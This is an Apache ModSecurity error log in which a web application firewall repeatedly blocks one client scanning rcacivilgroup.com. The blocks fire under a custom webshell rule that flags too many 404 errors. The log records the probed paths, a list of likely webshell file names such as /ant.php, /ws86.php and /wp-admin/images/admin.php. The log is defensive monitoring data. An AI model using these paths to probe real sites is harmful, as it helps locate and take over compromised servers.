[Tue Mar 31 17:16:40.602845 2026] [:error] [pid 36891:tid 36932] [client 172.161.1.56:37228] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "acuQ-JJhiMaJUqoqfl6rLQAAAEg"]
[Tue Mar 31 17:16:41.091565 2026] [:error] [pid 36892:tid 36952] [client 172.161.1.56:40928] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "acuQ-Uyj9S4G0ek3O4JfbAAAAIE"]
[Tue Mar 31 17:16:41.657037 2026] [:error] [pid 36982:tid 36985] [client 172.161.1.56:61616] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "acuQ-flMmeoQKN0r_GM7EAAAAMA"]
[Tue Mar 31 17:16:42.171632 2026] [:error] [pid 36891:tid 36943] [client 172.161.1.56:41890] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/to.php"] [unique_id "acuQ-pJhiMaJUqoqfl6rMQAAAFM"]
[Tue Mar 31 17:16:42.700821 2026] [:error] [pid 41421:tid 41431] [client 172.161.1.56:48732] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/to.php"] [unique_id "acuQ-hSaDjY9kKFtUQBTYwAAAQc"]
[Tue Mar 31 17:16:43.243481 2026] [:error] [pid 36890:tid 36895] [client 172.161.1.56:29915] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/to.php"] [unique_id "acuQ-58FASPd_uH8z7f-BQAAAAA"]
[Tue Mar 31 17:16:43.717418 2026] [:error] [pid 6548:tid 6551] [client 172.161.1.56:51652] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/to.php"] [unique_id "acuQ-7gIz9HgMl9YwE7JhwAAAUE"]
[Tue Mar 31 17:16:44.204621 2026] [:error] [pid 36982:tid 36995] [client 172.161.1.56:12330] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp9.php"] [unique_id "acuQ_PlMmeoQKN0r_GM7GwAAAMo"]
[Tue Mar 31 17:16:44.704650 2026] [:error] [pid 36982:tid 37000] [client 172.161.1.56:37229] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp9.php"] [unique_id "acuQ_PlMmeoQKN0r_GM7HgAAAM8"]
[Tue Mar 31 17:16:45.266610 2026] [:error] [pid 36891:tid 36927] [client 172.161.1.56:51662] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp9.php"] [unique_id "acuQ_ZJhiMaJUqoqfl6rNgAAAEM"]
[Tue Mar 31 17:16:45.783104 2026] [:error] [pid 36982:tid 37006] [client 172.161.1.56:43245] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp9.php"] [unique_id "acuQ_flMmeoQKN0r_GM7IgAAANU"]
[Tue Mar 31 17:16:46.345782 2026] [:error] [pid 36982:tid 36992] [client 172.161.1.56:17866] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ant.php"] [unique_id "acuQ_vlMmeoQKN0r_GM7IwAAAMc"]
[Tue Mar 31 17:16:46.918928 2026] [:error] [pid 36891:tid 36939] [client 172.161.1.56:15194] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ant.php"] [unique_id "acuQ_pJhiMaJUqoqfl6rOwAAAE8"]
[Tue Mar 31 17:16:47.572797 2026] [:error] [pid 41421:tid 41443] [client 172.161.1.56:16020] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ant.php"] [unique_id "acuQ_xSaDjY9kKFtUQBTaQAAARM"]
[Tue Mar 31 17:16:48.243195 2026] [:error] [pid 36892:tid 36965] [client 172.161.1.56:41886] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ant.php"] [unique_id "acuRAEyj9S4G0ek3O4JfcAAAAI4"]
[Tue Mar 31 17:16:48.869440 2026] [:error] [pid 36982:tid 36991] [client 172.161.1.56:15216] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws86.php"] [unique_id "acuRAPlMmeoQKN0r_GM7KgAAAMY"]
[Tue Mar 31 17:16:49.404092 2026] [:error] [pid 36892:tid 36961] [client 172.161.1.56:12321] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws86.php"] [unique_id "acuRAUyj9S4G0ek3O4JfcwAAAIo"]
[Tue Mar 31 17:16:50.008538 2026] [:error] [pid 36892:tid 36951] [client 172.161.1.56:41884] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws86.php"] [unique_id "acuRAkyj9S4G0ek3O4JfdQAAAIA"]
[Tue Mar 31 17:16:50.571941 2026] [:error] [pid 6548:tid 6555] [client 172.161.1.56:61570] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws86.php"] [unique_id "acuRArgIz9HgMl9YwE7JlQAAAUU"]
[Tue Mar 31 17:16:51.094069 2026] [:error] [pid 6548:tid 6557] [client 172.161.1.56:51692] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jga.php"] [unique_id "acuRA7gIz9HgMl9YwE7JlgAAAUc"]
[Tue Mar 31 17:16:51.610475 2026] [:error] [pid 36982:tid 37004] [client 172.161.1.56:17869] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jga.php"] [unique_id "acuRA_lMmeoQKN0r_GM7MwAAANM"]
[Tue Mar 31 17:16:52.118212 2026] [:error] [pid 36982:tid 36999] [client 172.161.1.56:48751] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jga.php"] [unique_id "acuRBPlMmeoQKN0r_GM7NgAAAM4"]
[Tue Mar 31 17:16:52.757357 2026] [:error] [pid 41421:tid 41429] [client 172.161.1.56:41914] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jga.php"] [unique_id "acuRBBSaDjY9kKFtUQBTcgAAAQU"]
[Tue Mar 31 17:16:53.354829 2026] [:error] [pid 36982:tid 37001] [client 172.161.1.56:16053] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "acuRBflMmeoQKN0r_GM7QAAAANA"]
[Tue Mar 31 17:16:53.840002 2026] [:error] [pid 6548:tid 6551] [client 172.161.1.56:41905] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "acuRBbgIz9HgMl9YwE7JpQAAAUE"]
[Tue Mar 31 17:16:54.326415 2026] [:error] [pid 36982:tid 36985] [client 172.161.1.56:15177] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "acuRBvlMmeoQKN0r_GM7RgAAAMA"]
[Tue Mar 31 17:16:54.843710 2026] [:error] [pid 6548:tid 6573] [client 172.161.1.56:48707] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "acuRBrgIz9HgMl9YwE7JqQAAAVc"]
[Tue Mar 31 17:16:55.372544 2026] [:error] [pid 36890:tid 36915] [client 172.161.1.56:23697] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classgoto24.php"] [unique_id "acuRB58FASPd_uH8z7f-EgAAABQ"]
[Tue Mar 31 17:16:56.172094 2026] [:error] [pid 6548:tid 6562] [client 172.161.1.56:17888] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classgoto24.php"] [unique_id "acuRCLgIz9HgMl9YwE7JrgAAAUw"]
[Tue Mar 31 17:16:56.728315 2026] [:error] [pid 6548:tid 6565] [client 172.161.1.56:43255] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classgoto24.php"] [unique_id "acuRCLgIz9HgMl9YwE7JsgAAAU8"]
[Tue Mar 31 17:16:57.319178 2026] [:error] [pid 36890:tid 36914] [client 172.161.1.56:48757] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classgoto24.php"] [unique_id "acuRCZ8FASPd_uH8z7f-FAAAABM"]
[Tue Mar 31 17:16:57.845049 2026] [:error] [pid 36890:tid 36911] [client 172.161.1.56:17900] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws82.php"] [unique_id "acuRCZ8FASPd_uH8z7f-FwAAABA"]
[Tue Mar 31 17:16:58.327965 2026] [:error] [pid 36890:tid 36908] [client 172.161.1.56:16018] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws82.php"] [unique_id "acuRCp8FASPd_uH8z7f-GQAAAA0"]
[Tue Mar 31 17:16:58.859969 2026] [:error] [pid 36982:tid 37002] [client 172.161.1.56:43234] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws82.php"] [unique_id "acuRCvlMmeoQKN0r_GM7SgAAANE"]
[Tue Mar 31 17:16:59.401387 2026] [:error] [pid 6548:tid 6570] [client 172.161.1.56:20970] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws82.php"] [unique_id "acuRC7gIz9HgMl9YwE7JvAAAAVQ"]
[Tue Mar 31 17:16:59.928746 2026] [:error] [pid 36982:tid 36991] [client 172.161.1.56:12294] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws43.php"] [unique_id "acuRC_lMmeoQKN0r_GM7SwAAAMY"]
[Tue Mar 31 17:17:00.413969 2026] [:error] [pid 36982:tid 37004] [client 172.161.1.56:54665] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws43.php"] [unique_id "acuRDPlMmeoQKN0r_GM7TwAAANM"]
[Tue Mar 31 17:17:00.896465 2026] [:error] [pid 41421:tid 41438] [client 172.161.1.56:41864] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws43.php"] [unique_id "acuRDBSaDjY9kKFtUQBTeAAAAQ4"]
[Tue Mar 31 17:17:01.386522 2026] [:error] [pid 6548:tid 6570] [client 172.161.1.56:17875] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws43.php"] [unique_id "acuRDbgIz9HgMl9YwE7JwgAAAVQ"]
[Tue Mar 31 17:17:02.406456 2026] [:error] [pid 36892:tid 36960] [client 172.161.1.56:12303] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gec.php"] [unique_id "acuRDkyj9S4G0ek3O4JffgAAAIk"]
[Tue Mar 31 17:17:02.886688 2026] [:error] [pid 36982:tid 36993] [client 172.161.1.56:54664] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gec.php"] [unique_id "acuRDvlMmeoQKN0r_GM7VwAAAMg"]
[Tue Mar 31 17:17:03.391924 2026] [:error] [pid 41421:tid 41436] [client 172.161.1.56:37207] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gec.php"] [unique_id "acuRDxSaDjY9kKFtUQBTgAAAAQw"]
[Tue Mar 31 17:17:03.925890 2026] [:error] [pid 41421:tid 41430] [client 172.161.1.56:17400] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gec.php"] [unique_id "acuRDxSaDjY9kKFtUQBTggAAAQY"]
[Tue Mar 31 17:17:04.411469 2026] [:error] [pid 6548:tid 6574] [client 172.161.1.56:43228] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "acuRELgIz9HgMl9YwE7JxAAAAVg"]
[Tue Mar 31 17:17:04.951426 2026] [:error] [pid 36982:tid 37008] [client 172.161.1.56:62794] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "acuREPlMmeoQKN0r_GM7XQAAANc"]
[Tue Mar 31 17:17:21.060474 2026] [:error] [pid 36982:tid 36997] [client 172.161.1.56:41911] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx79.php"] [unique_id "acuRIflMmeoQKN0r_GM7mwAAAMw"]
[Tue Mar 31 17:17:21.544086 2026] [:error] [pid 41421:tid 41438] [client 172.161.1.56:15230] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx79.php"] [unique_id "acuRIRSaDjY9kKFtUQBTnAAAAQ4"]
[Tue Mar 31 17:17:22.096773 2026] [:error] [pid 36890:tid 36895] [client 172.161.1.56:15170] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx79.php"] [unique_id "acuRIp8FASPd_uH8z7f-LgAAAAA"]
[Tue Mar 31 17:17:22.625408 2026] [:error] [pid 41421:tid 41445] [client 172.161.1.56:54677] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx79.php"] [unique_id "acuRIhSaDjY9kKFtUQBTogAAARU"]
[Tue Mar 31 17:17:23.111763 2026] [:error] [pid 6548:tid 6550] [client 172.161.1.56:40949] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/admin.php"] [unique_id "acuRI7gIz9HgMl9YwE7J4gAAAUA"]
[Tue Mar 31 17:17:23.620404 2026] [:error] [pid 41421:tid 41442] [client 172.161.1.56:46900] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/admin.php"] [unique_id "acuRIxSaDjY9kKFtUQBTpAAAARI"]
[Tue Mar 31 17:17:24.115702 2026] [:error] [pid 41421:tid 41433] [client 172.161.1.56:62844] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/admin.php"] [unique_id "acuRJBSaDjY9kKFtUQBTpQAAAQk"]
[Tue Mar 31 17:17:24.624745 2026] [:error] [pid 41421:tid 41426] [client 172.161.1.56:20983] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/admin.php"] [unique_id "acuRJBSaDjY9kKFtUQBTpgAAAQI"]
[Tue Mar 31 17:17:25.099972 2026] [:error] [pid 36982:tid 36996] [client 172.161.1.56:62832] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp3.php"] [unique_id "acuRJflMmeoQKN0r_GM7ogAAAMs"]
[Tue Mar 31 17:17:25.600271 2026] [:error] [pid 36892:tid 36968] [client 172.161.1.56:37199] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp3.php"] [unique_id "acuRJUyj9S4G0ek3O4JflwAAAJE"]
[Tue Mar 31 17:17:26.089111 2026] [:error] [pid 36891:tid 36945] [client 172.161.1.56:37184] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp3.php"] [unique_id "acuRJpJhiMaJUqoqfl6rUQAAAFU"]
